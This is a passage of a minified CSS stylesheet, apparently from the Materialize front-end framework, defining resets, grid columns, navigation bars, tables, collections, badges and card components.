dotted}b,strong{font-weight:inherit;font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}html{-webkit-box-sizing:border-box;box-sizing:border-box}*,:before,:after{-webkit-box-sizing:inherit;box-sizing:inherit}button,input,optgroup,select,textarea{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}ul:not(.browser-default){padding-left:0;list-style-type:none}ul:not(.browser-default)>li{list-style-type:none}a{color:#039be5;text-decoration:none;-webkit-tap-highlight-color:transparent}.valign-wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.clearfix{clear:both}.z-depth-0{box-shadow:none!important}.z-depth-1,nav,.card-panel,.card,.toast,.btn,.btn-large,.btn-small,.btn-floating,.dropdown-content,.collapsible,.sidenav{box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2)}.z-depth-1-half,.btn:hover,.btn-large:hover,.btn-small:hover,.btn-floating:hover{box-shadow:0 3px 3px 0 rgba(0,0,0,0.14),0 1px 7px 0 rgba(0,0,0,0.12),0 3px 1px -1px rgba(0,0,0,0.2)}.z-depth-2{box-shadow:0 4px 5px 0 rgba(0,0,0,0.14),0 1px 10px 0 rgba(0,0,0,0.12),0 2px 4px -1px rgba(0,0,0,0.3)}.z-depth-3{box-shadow:0 8px 17px 2px rgba(0,0,0,0.14),0 3px 14px 2px rgba(0,0,0,0.12),0 5px 5px -3px rgba(0,0,0,0.2)}.z-depth-4{box-shadow:0 16px 24px 2px rgba(0,0,0,0.14),0 6px 30px 5px rgba(0,0,0,0.12),0 8px 10px -7px rgba(0,0,0,0.2)}.z-depth-5,.modal{box-shadow:0 24px 38px 3px rgba(0,0,0,0.14),0 9px 46px 8px rgba(0,0,0,0.12),0 11px 15px -7px rgba(0,0,0,0.2)}.hoverable{transition:box-shadow .25s;transition:box-shadow .25s,-webkit-box-shadow .25s}.hoverable:hover{box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19)}.divider{height:1px;overflow:hidden;background-color:#e0e0e0}blockquote{margin:20px 0;padding-left:1.5rem;border-left:5px solid #ee6e73}i{line-height:inherit}i.left{float:left;margin-right:15px}i.right{float:right;margin-left:15px}i.tiny{font-size:1rem}i.small{font-size:2rem}i.medium{font-size:4rem}i.large{font-size:6rem}img.responsive-img,video.responsive-video{max-width:100%;height:auto}.pagination li{display:inline-block;border-radius:2px;text-align:center;vertical-align:top;height:30px}.pagination li a{color:#444;display:inline-block;font-size:1.2rem;padding:0 10px;line-height:30px}.pagination li.active a{color:#fff}.pagination li.active{background-color:#ee6e73}.pagination li.disabled a{cursor:default;color:#999}.pagination li i{font-size:2rem}.pagination li.pages ul li{display:inline-block;float:none}@media only screen and (max-width: 992px){.pagination{width:100%}.pagination li.prev,.pagination li.next{width:10%}.pagination li.pages{width:80%;overflow:hidden;white-space:nowrap}}.breadcrumb{font-size:18px;color:rgba(255,255,255,0.7)}.breadcrumb i,.breadcrumb [class^="mdi-"],.breadcrumb [class*="mdi-"],.breadcrumb i.material-icons{display:inline-block;float:left;font-size:24px}.breadcrumb:before{content:'\E5CC';color:rgba(255,255,255,0.7);vertical-align:top;display:inline-block;font-family:'Material Icons';font-weight:400;font-style:normal;font-size:25px;margin:0 10px 0 8px;-webkit-font-smoothing:antialiased}.breadcrumb:first-child:before{display:none}.breadcrumb:last-child{color:#fff}.parallax-container{position:relative;overflow:hidden;height:500px}.parallax-container .parallax{position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1}.parallax-container .parallax img{opacity:0;position:absolute;left:50%;bottom:0;min-width:100%;min-height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transform:translateX(-50%);transform:translateX(-50%)}.pin-top,.pin-bottom{position:relative}.pinned{position:fixed!important}ul.staggered-list li{opacity:0}.fade-in{opacity:0;-webkit-transform-origin:0 50%;transform-origin:0 50%}@media only screen and (max-width: 600px){.hide-on-small-only,.hide-on-small-and-down{display:none!important}}@media only screen and (max-width: 992px){.hide-on-med-and-down{display:none!important}}@media only screen and (min-width: 601px){.hide-on-med-and-up{display:none!important}}@media only screen and (min-width: 600px) and (max-width: 992px){.hide-on-med-only{display:none!important}}@media only screen and (min-width: 993px){.hide-on-large-only{display:none!important}}@media only screen and (min-width: 1201px){.hide-on-extra-large-only{display:none!important}.show-on-extra-large{display:block!important}}@media only screen and (min-width: 993px){.show-on-large{display:block!important}}@media only screen and (min-width: 600px) and (max-width: 992px){.show-on-medium{display:block!important}}@media only screen and (max-width: 600px){.show-on-small{display:block!important}}@media only screen and (min-width: 601px){.show-on-medium-and-up{display:block!important}}@media only screen and (max-width: 992px){.show-on-medium-and-down{display:block!important}}@media only screen and (max-width: 600px){.center-on-small-only{text-align:center}}.page-footer{padding-top:20px;color:#fff;background-color:#ee6e73}.page-footer .footer-copyright{overflow:hidden;min-height:50px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:10px 0;color:rgba(255,255,255,0.8);background-color:rgba(51,51,51,0.08)}table,th,td{border:none}table{width:100%;display:table;border-collapse:collapse;border-spacing:0}table.striped tr{border-bottom:none}table.striped>tbody>tr:nth-child(odd){background-color:rgba(242,242,242,0.5)}table.striped>tbody>tr>td{border-radius:0}table.highlight>tbody>tr{transition:background-color .25s ease}table.highlight>tbody>tr:hover{background-color:rgba(242,242,242,0.5)}table.centered thead tr th,table.centered tbody tr td{text-align:center}td,th{padding:15px 5px;display:table-cell;text-align:left;vertical-align:middle;border-radius:2px}@media only screen and (max-width: 992px){table.responsive-table{width:100%;border-collapse:collapse;border-spacing:0;display:block;position:relative}table.responsive-table td:empty:before{content:'\00a0'}table.responsive-table th,table.responsive-table td{margin:0;vertical-align:top}table.responsive-table th{text-align:left}table.responsive-table thead{display:block;float:left}table.responsive-table thead tr{display:block;padding:0 10px 0 0}table.responsive-table thead tr th::before{content:"\00a0"}table.responsive-table tbody{display:block;width:auto;position:relative;overflow-x:auto;white-space:nowrap}table.responsive-table tbody tr{display:inline-block;vertical-align:top}table.responsive-table th{display:block;text-align:right}table.responsive-table td{display:block;min-height:1.25em;text-align:left}table.responsive-table tr{border-bottom:none;padding:0 10px}table.responsive-table thead{border:0;border-right:1px solid rgba(0,0,0,0.12)}}.collection{margin:.5rem 0 1rem;border:1px solid #e0e0e0;border-radius:2px;overflow:hidden;position:relative}.collection .collection-item{background-color:#fff;line-height:1.5rem;padding:10px 20px;margin:0;border-bottom:1px solid #e0e0e0}.collection .collection-item.avatar{min-height:84px;padding-left:72px;position:relative}.collection .collection-item.avatar:not(.circle-clipper)>.circle,.collection .collection-item.avatar :not(.circle-clipper)>.circle{position:absolute;width:42px;height:42px;overflow:hidden;left:15px;display:inline-block;vertical-align:middle}.collection .collection-item.avatar i.circle{font-size:18px;line-height:42px;color:#fff;background-color:#999;text-align:center}.collection .collection-item.avatar .title{font-size:16px}.collection .collection-item.avatar p{margin:0}.collection .collection-item.avatar .secondary-content{position:absolute;top:16px;right:16px}.collection .collection-item:last-child{border-bottom:none}.collection .collection-item.active{background-color:#26a69a;color:#eafaf9}.collection .collection-item.active .secondary-content{color:#fff}.collection a.collection-item{display:block;transition:.25s;color:#26a69a}.collection a.collection-item:not(.active):hover{background-color:#ddd}.collection.with-header .collection-header{background-color:#fff;border-bottom:1px solid #e0e0e0;padding:10px 20px}.collection.with-header .collection-item{padding-left:30px}.collection.with-header .collection-item.avatar{padding-left:72px}.secondary-content{float:right;color:#26a69a}.collapsible .collection{margin:0;border:none}.video-container{position:relative;padding-bottom:56.25%;height:0;overflow:hidden}.video-container iframe,.video-container object,.video-container embed{position:absolute;top:0;left:0;width:100%;height:100%}.progress{position:relative;height:4px;display:block;width:100%;background-color:#acece6;border-radius:2px;margin:.5rem 0 1rem;overflow:hidden}.progress .determinate{position:absolute;top:0;left:0;bottom:0;background-color:#26a69a;transition:width .3s linear}.progress .indeterminate{background-color:#26a69a}.progress .indeterminate:before{content:'';position:absolute;background-color:inherit;top:0;left:0;bottom:0;will-change:left,right;animation:indeterminate 2.1s cubic-bezier(0.65,0.815,0.735,0.395) infinite}.progress .indeterminate:after{content:'';position:absolute;background-color:inherit;top:0;left:0;bottom:0;will-change:left,right;animation:indeterminate-short 2.1s cubic-bezier(0.165,0.84,0.44,1) infinite;animation-delay:1.15s}@keyframes indeterminate{0%{left:-35%;right:100%}60%{left:100%;right:-90%}100%{left:100%;right:-90%}}@keyframes indeterminate-short{0%{left:-200%;right:100%}60%{left:107%;right:-8%}100%{left:107%;right:-8%}}.hide{display:none!important}.left-align{text-align:left}.right-align{text-align:right}.center,.center-align{text-align:center}.left{float:left!important}.right{float:right!important}.no-select,input[type=range],input[type=range]+.thumb{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.circle{border-radius:50%}.center-block{display:block;margin-left:auto;margin-right:auto}.truncate{display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.no-padding{padding:0!important}span.badge{min-width:3rem;padding:0 6px;margin-left:14px;text-align:center;font-size:1rem;line-height:22px;height:22px;color:#757575;float:right;-webkit-box-sizing:border-box;box-sizing:border-box}span.badge.new{font-weight:300;font-size:.8rem;color:#fff;background-color:#26a69a;border-radius:2px}span.badge.new:after{content:" new"}span.badge[data-badge-caption]::after{content:" " attr(data-badge-caption)}nav ul a span.badge{display:inline-block;float:none;margin-left:4px;line-height:22px;height:22px;-webkit-font-smoothing:auto}.collection-item span.badge{margin-top:calc(.75rem - 11px)}.collapsible span.badge{margin-left:auto}.sidenav span.badge{margin-top:calc(24px - 11px)}table span.badge{display:inline-block;float:none;margin-left:auto}.material-icons{text-rendering:optimizeLegibility;-webkit-font-feature-settings:liga;-moz-font-feature-settings:liga;font-feature-settings:liga}.container{margin:0 auto;max-width:1280px;width:90%}@media only screen and (min-width: 601px){.container{width:85%}}@media only screen and (min-width: 993px){.container{width:70%}}.col .row{margin-left:-.75rem;margin-right:-.75rem}.section{padding-top:1rem;padding-bottom:1rem}.section.no-pad{padding:0}.section.no-pad-bot{padding-bottom:0}.section.no-pad-top{padding-top:0}.row{margin-left:auto;margin-right:auto;margin-bottom:20px}.row:after{content:"";display:table;clear:both}.row .col{float:left;-webkit-box-sizing:border-box;box-sizing:border-box;padding:0 .75rem;min-height:1px}.row .col[class*="push-"],.row .col[class*="pull-"]{position:relative}.row .col.s1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.s4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.s7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.s10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-s1{margin-left:8.3333333333%}.row .col.pull-s1{right:8.3333333333%}.row .col.push-s1{left:8.3333333333%}.row .col.offset-s2{margin-left:16.6666666667%}.row .col.pull-s2{right:16.6666666667%}.row .col.push-s2{left:16.6666666667%}.row .col.offset-s3{margin-left:25%}.row .col.pull-s3{right:25%}.row .col.push-s3{left:25%}.row .col.offset-s4{margin-left:33.3333333333%}.row .col.pull-s4{right:33.3333333333%}.row .col.push-s4{left:33.3333333333%}.row .col.offset-s5{margin-left:41.6666666667%}.row .col.pull-s5{right:41.6666666667%}.row .col.push-s5{left:41.6666666667%}.row .col.offset-s6{margin-left:50%}.row .col.pull-s6{right:50%}.row .col.push-s6{left:50%}.row .col.offset-s7{margin-left:58.3333333333%}.row .col.pull-s7{right:58.3333333333%}.row .col.push-s7{left:58.3333333333%}.row .col.offset-s8{margin-left:66.6666666667%}.row .col.pull-s8{right:66.6666666667%}.row .col.push-s8{left:66.6666666667%}.row .col.offset-s9{margin-left:75%}.row .col.pull-s9{right:75%}.row .col.push-s9{left:75%}.row .col.offset-s10{margin-left:83.3333333333%}.row .col.pull-s10{right:83.3333333333%}.row .col.push-s10{left:83.3333333333%}.row .col.offset-s11{margin-left:91.6666666667%}.row .col.pull-s11{right:91.6666666667%}.row .col.push-s11{left:91.6666666667%}.row .col.offset-s12{margin-left:100%}.row .col.pull-s12{right:100%}.row .col.push-s12{left:100%}@media only screen and (min-width: 601px){.row .col.m1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.m4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.m7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.m10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-m1{margin-left:8.3333333333%}.row .col.pull-m1{right:8.3333333333%}.row .col.push-m1{left:8.3333333333%}.row .col.offset-m2{margin-left:16.6666666667%}.row .col.pull-m2{right:16.6666666667%}.row .col.push-m2{left:16.6666666667%}.row .col.offset-m3{margin-left:25%}.row .col.pull-m3{right:25%}.row .col.push-m3{left:25%}.row .col.offset-m4{margin-left:33.3333333333%}.row .col.pull-m4{right:33.3333333333%}.row .col.push-m4{left:33.3333333333%}.row .col.offset-m5{margin-left:41.6666666667%}.row .col.pull-m5{right:41.6666666667%}.row .col.push-m5{left:41.6666666667%}.row .col.offset-m6{margin-left:50%}.row .col.pull-m6{right:50%}.row .col.push-m6{left:50%}.row .col.offset-m7{margin-left:58.3333333333%}.row .col.pull-m7{right:58.3333333333%}.row .col.push-m7{left:58.3333333333%}.row .col.offset-m8{margin-left:66.6666666667%}.row .col.pull-m8{right:66.6666666667%}.row .col.push-m8{left:66.6666666667%}.row .col.offset-m9{margin-left:75%}.row .col.pull-m9{right:75%}.row .col.push-m9{left:75%}.row .col.offset-m10{margin-left:83.3333333333%}.row .col.pull-m10{right:83.3333333333%}.row .col.push-m10{left:83.3333333333%}.row .col.offset-m11{margin-left:91.6666666667%}.row .col.pull-m11{right:91.6666666667%}.row .col.push-m11{left:91.6666666667%}.row .col.offset-m12{margin-left:100%}.row .col.pull-m12{right:100%}.row .col.push-m12{left:100%}}@media only screen and (min-width: 993px){.row .col.l1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.l4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.l7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.l10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-l1{margin-left:8.3333333333%}.row .col.pull-l1{right:8.3333333333%}.row .col.push-l1{left:8.3333333333%}.row .col.offset-l2{margin-left:16.6666666667%}.row .col.pull-l2{right:16.6666666667%}.row .col.push-l2{left:16.6666666667%}.row .col.offset-l3{margin-left:25%}.row .col.pull-l3{right:25%}.row .col.push-l3{left:25%}.row .col.offset-l4{margin-left:33.3333333333%}.row .col.pull-l4{right:33.3333333333%}.row .col.push-l4{left:33.3333333333%}.row .col.offset-l5{margin-left:41.6666666667%}.row .col.pull-l5{right:41.6666666667%}.row .col.push-l5{left:41.6666666667%}.row .col.offset-l6{margin-left:50%}.row .col.pull-l6{right:50%}.row .col.push-l6{left:50%}.row .col.offset-l7{margin-left:58.3333333333%}.row .col.pull-l7{right:58.3333333333%}.row .col.push-l7{left:58.3333333333%}.row .col.offset-l8{margin-left:66.6666666667%}.row .col.pull-l8{right:66.6666666667%}.row .col.push-l8{left:66.6666666667%}.row .col.offset-l9{margin-left:75%}.row .col.pull-l9{right:75%}.row .col.push-l9{left:75%}.row .col.offset-l10{margin-left:83.3333333333%}.row .col.pull-l10{right:83.3333333333%}.row .col.push-l10{left:83.3333333333%}.row .col.offset-l11{margin-left:91.6666666667%}.row .col.pull-l11{right:91.6666666667%}.row .col.push-l11{left:91.6666666667%}.row .col.offset-l12{margin-left:100%}.row .col.pull-l12{right:100%}.row .col.push-l12{left:100%}}@media only screen and (min-width: 1201px){.row .col.xl1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.xl4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.xl7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.xl10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-xl1{margin-left:8.3333333333%}.row .col.pull-xl1{right:8.3333333333%}.row .col.push-xl1{left:8.3333333333%}.row .col.offset-xl2{margin-left:16.6666666667%}.row .col.pull-xl2{right:16.6666666667%}.row .col.push-xl2{left:16.6666666667%}.row .col.offset-xl3{margin-left:25%}.row .col.pull-xl3{right:25%}.row .col.push-xl3{left:25%}.row .col.offset-xl4{margin-left:33.3333333333%}.row .col.pull-xl4{right:33.3333333333%}.row .col.push-xl4{left:33.3333333333%}.row .col.offset-xl5{margin-left:41.6666666667%}.row .col.pull-xl5{right:41.6666666667%}.row .col.push-xl5{left:41.6666666667%}.row .col.offset-xl6{margin-left:50%}.row .col.pull-xl6{right:50%}.row .col.push-xl6{left:50%}.row .col.offset-xl7{margin-left:58.3333333333%}.row .col.pull-xl7{right:58.3333333333%}.row .col.push-xl7{left:58.3333333333%}.row .col.offset-xl8{margin-left:66.6666666667%}.row .col.pull-xl8{right:66.6666666667%}.row .col.push-xl8{left:66.6666666667%}.row .col.offset-xl9{margin-left:75%}.row .col.pull-xl9{right:75%}.row .col.push-xl9{left:75%}.row .col.offset-xl10{margin-left:83.3333333333%}.row .col.pull-xl10{right:83.3333333333%}.row .col.push-xl10{left:83.3333333333%}.row .col.offset-xl11{margin-left:91.6666666667%}.row .col.pull-xl11{right:91.6666666667%}.row .col.push-xl11{left:91.6666666667%}.row .col.offset-xl12{margin-left:100%}.row .col.pull-xl12{right:100%}.row .col.push-xl12{left:100%}}nav{color:#fff;background-color:#ee6e73;width:100%;height:56px;line-height:56px}nav.nav-extended{height:auto}nav.nav-extended .nav-wrapper{min-height:56px;height:auto}nav.nav-extended .nav-content{position:relative;line-height:normal}nav a{color:#fff}nav i,nav [class^="mdi-"],nav [class*="mdi-"],nav i.material-icons{display:block;font-size:24px;height:56px;line-height:56px}nav .nav-wrapper{position:relative;height:100%}@media only screen and (min-width: 993px){nav a.sidenav-trigger{display:none}}nav .sidenav-trigger{float:left;position:relative;z-index:1;height:56px;margin:0 18px}nav .sidenav-trigger i{height:56px;line-height:56px}nav .brand-logo{position:absolute;color:#fff;display:inline-block;font-size:2.1rem;padding:0}nav .brand-logo.center{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}@media only screen and (max-width: 992px){nav .brand-logo{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}nav .brand-logo.left,nav .brand-logo.right{padding:0;-webkit-transform:none;transform:none}nav .brand-logo.left{left:.5rem}nav .brand-logo.right{right:.5rem;left:auto}}nav .brand-logo.right{right:.5rem;padding:0}nav .brand-logo i,nav .brand-logo [class^="mdi-"],nav .brand-logo [class*="mdi-"],nav .brand-logo i.material-icons{float:left;margin-right:15px}nav .nav-title{display:inline-block;font-size:32px;padding:28px 0}nav ul{margin:0}nav ul li{transition:background-color .3s;float:left;padding:0}nav ul li.active{background-color:rgba(0,0,0,0.1)}nav ul a{transition:background-color .3s;font-size:1rem;color:#fff;display:block;padding:0 15px;cursor:pointer}nav ul a.btn,nav ul a.btn-large,nav ul a.btn-small,nav ul a.btn-large,nav ul a.btn-flat,nav ul a.btn-floating{margin-top:-2px;margin-left:15px;margin-right:15px}nav ul a.btn>.material-icons,nav ul a.btn-large>.material-icons,nav ul a.btn-small>.material-icons,nav ul a.btn-large>.material-icons,nav ul a.btn-flat>.material-icons,nav ul a.btn-floating>.material-icons{height:inherit;line-height:inherit}nav ul a:hover{background-color:rgba(0,0,0,0.1)}nav ul.left{float:left}nav form{height:100%}nav .input-field{margin:0;height:100%}nav .input-field input{height:100%;font-size:1.2rem;border:none;padding-left:2rem}nav .input-field input:focus,nav .input-field input[type=text]:valid,nav .input-field input[type=password]:valid,nav .input-field input[type=email]:valid,nav .input-field input[type=url]:valid,nav .input-field input[type=date]:valid{border:none;box-shadow:none}nav .input-field label{top:0;left:0}nav .input-field label i{color:rgba(255,255,255,0.7);transition:color .3s}nav .input-field label.active i{color:#fff}.navbar-fixed{position:relative;height:56px;z-index:997}.navbar-fixed nav{position:fixed}@media only screen and (min-width: 601px){nav.nav-extended .nav-wrapper{min-height:64px}nav,nav .nav-wrapper i,nav a.sidenav-trigger,nav a.sidenav-trigger i{height:64px;line-height:64px}.navbar-fixed{height:64px}}a{text-decoration:none}html{line-height:1.5;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-weight:400;color:rgba(0,0,0,0.87)}@media only screen and (min-width: 0){html{font-size:14px}}@media only screen and (min-width: 992px){html{font-size:14.5px}}@media only screen and (min-width: 1200px){html{font-size:15px}}h1,h2,h3,h4,h5,h6{font-weight:400;line-height:1.3}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{font-weight:inherit}h1{font-size:4.2rem;line-height:110%;margin:2.8rem 0 1.68rem}h2{font-size:3.56rem;line-height:110%;margin:2.3733333333rem 0 1.424rem}h3{font-size:2.92rem;line-height:110%;margin:1.9466666667rem 0 1.168rem}h4{font-size:2.28rem;line-height:110%;margin:1.52rem 0 .912rem}h5{font-size:1.64rem;line-height:110%;margin:1.0933333333rem 0 .656rem}h6{font-size:1.15rem;line-height:110%;margin:.7666666667rem 0 .46rem}em{font-style:italic}strong{font-weight:500}small{font-size:75%}.light{font-weight:300}.thin{font-weight:200}@media only screen and (min-width: 360px){.flow-text{font-size:1.2rem}}@media only screen and (min-width: 390px){.flow-text{font-size:1.224rem}}@media only screen and (min-width: 420px){.flow-text{font-size:1.248rem}}@media only screen and (min-width: 450px){.flow-text{font-size:1.272rem}}@media only screen and (min-width: 480px){.flow-text{font-size:1.296rem}}@media only screen and (min-width: 510px){.flow-text{font-size:1.32rem}}@media only screen and (min-width: 540px){.flow-text{font-size:1.344rem}}@media only screen and (min-width: 570px){.flow-text{font-size:1.368rem}}@media only screen and (min-width: 600px){.flow-text{font-size:1.392rem}}@media only screen and (min-width: 630px){.flow-text{font-size:1.416rem}}@media only screen and (min-width: 660px){.flow-text{font-size:1.44rem}}@media only screen and (min-width: 690px){.flow-text{font-size:1.464rem}}@media only screen and (min-width: 720px){.flow-text{font-size:1.488rem}}@media only screen and (min-width: 750px){.flow-text{font-size:1.512rem}}@media only screen and (min-width: 780px){.flow-text{font-size:1.536rem}}@media only screen and (min-width: 810px){.flow-text{font-size:1.56rem}}@media only screen and (min-width: 840px){.flow-text{font-size:1.584rem}}@media only screen and (min-width: 870px){.flow-text{font-size:1.608rem}}@media only screen and (min-width: 900px){.flow-text{font-size:1.632rem}}@media only screen and (min-width: 930px){.flow-text{font-size:1.656rem}}@media only screen and (min-width: 960px){.flow-text{font-size:1.68rem}}@media only screen and (max-width: 360px){.flow-text{font-size:1.2rem}}.scale-transition{transition:-webkit-transform .3s cubic-bezier(0.53,0.01,0.36,1.63)!important;transition:transform .3s cubic-bezier(0.53,0.01,0.36,1.63)!important;transition:transform .3s cubic-bezier(0.53,0.01,0.36,1.63),-webkit-transform .3s cubic-bezier(0.53,0.01,0.36,1.63)!important}.scale-transition.scale-out{-webkit-transform:scale(0);transform:scale(0);transition:-webkit-transform .2s!important;transition:transform .2s!important;transition:transform .2s,-webkit-transform .2s!important}.scale-transition.scale-in{-webkit-transform:scale(1);transform:scale(1)}.card-panel{transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s,-webkit-box-shadow .25s;padding:24px;margin:.5rem 0 1rem;border-radius:2px;background-color:#fff}.card{position:relative;margin:.5rem 0 1rem;background-color:#fff;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s,-webkit-box-shadow .25s;border-radius:2px}.card .card-title{font-size:24px;font-weight:300}.card .card-title.activator{cursor:pointer}.card.small,.card.medium,.card.large{position:relative}.card.small .card-image,.card.medium .card-image,.card.large .card-image{max-height:60%;overflow:hidden}.card.small .card-image+.card-content,.card.medium .card-image+.card-content,.card.large .card-image+.card-content{max-height:40%}.card.small .card-content,.card.medium .card-content,.card.large .card-content{max-height:100%;overflow:hidden}.card.small .card-action,.card.medium .card-action,.card.large .card-action{position:absolute;bottom:0;left:0;right:0}.card.small{height:300px}.card.medium{height:400px}.card.large{height:500px}.card.horizontal{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.card.horizontal.small .card-image,.card.horizontal.medium .card-image,.card.horizontal.large .card-image{height:100%;max-height:none;overflow:visible}.card.horizontal.small .card-image img,.card.horizontal.medium .card-image img,.card.horizontal.large .card-image img{height:100%}.card.horizontal .card-image{max-width:50%}.card.horizontal .card-image img{border-radius:2px 0 0 2px;max-width:100%;width:auto}.card.horizontal .card-stacked{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;position:relative}.card.horizontal .card-stacked .card-content{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.card.sticky-action .card-action{z-index:2}.card.sticky-action .card-reveal{z-index:1;padding-bottom:64px}.card .card-image{position:relative}.card .card-image img{display:block;border-radius:2px 2px 0 0;position:relative;left:0;right:0;top:0;bottom:0;width:100%}.card .card-image .card-title{color:#fff;position:absolute;bottom:0;left:0;max-width:100%;padding:24px}.card .card-content{padding:24px;border-radius:0 0 2px 2px}.card .card-content p{margin:0}.card .card-content .card-title{display:block;line-height:32px;margin-bottom:8px}.card .card-content .card-title i{line-height:32px}.card .card-action{background-color:inherit;border-top:1px solid rgba(160,160,160,0.2);position:relative;padding:16px 24px}.card .card-action:last-child{border-radius:0 0 2px 2px}.card .card-action 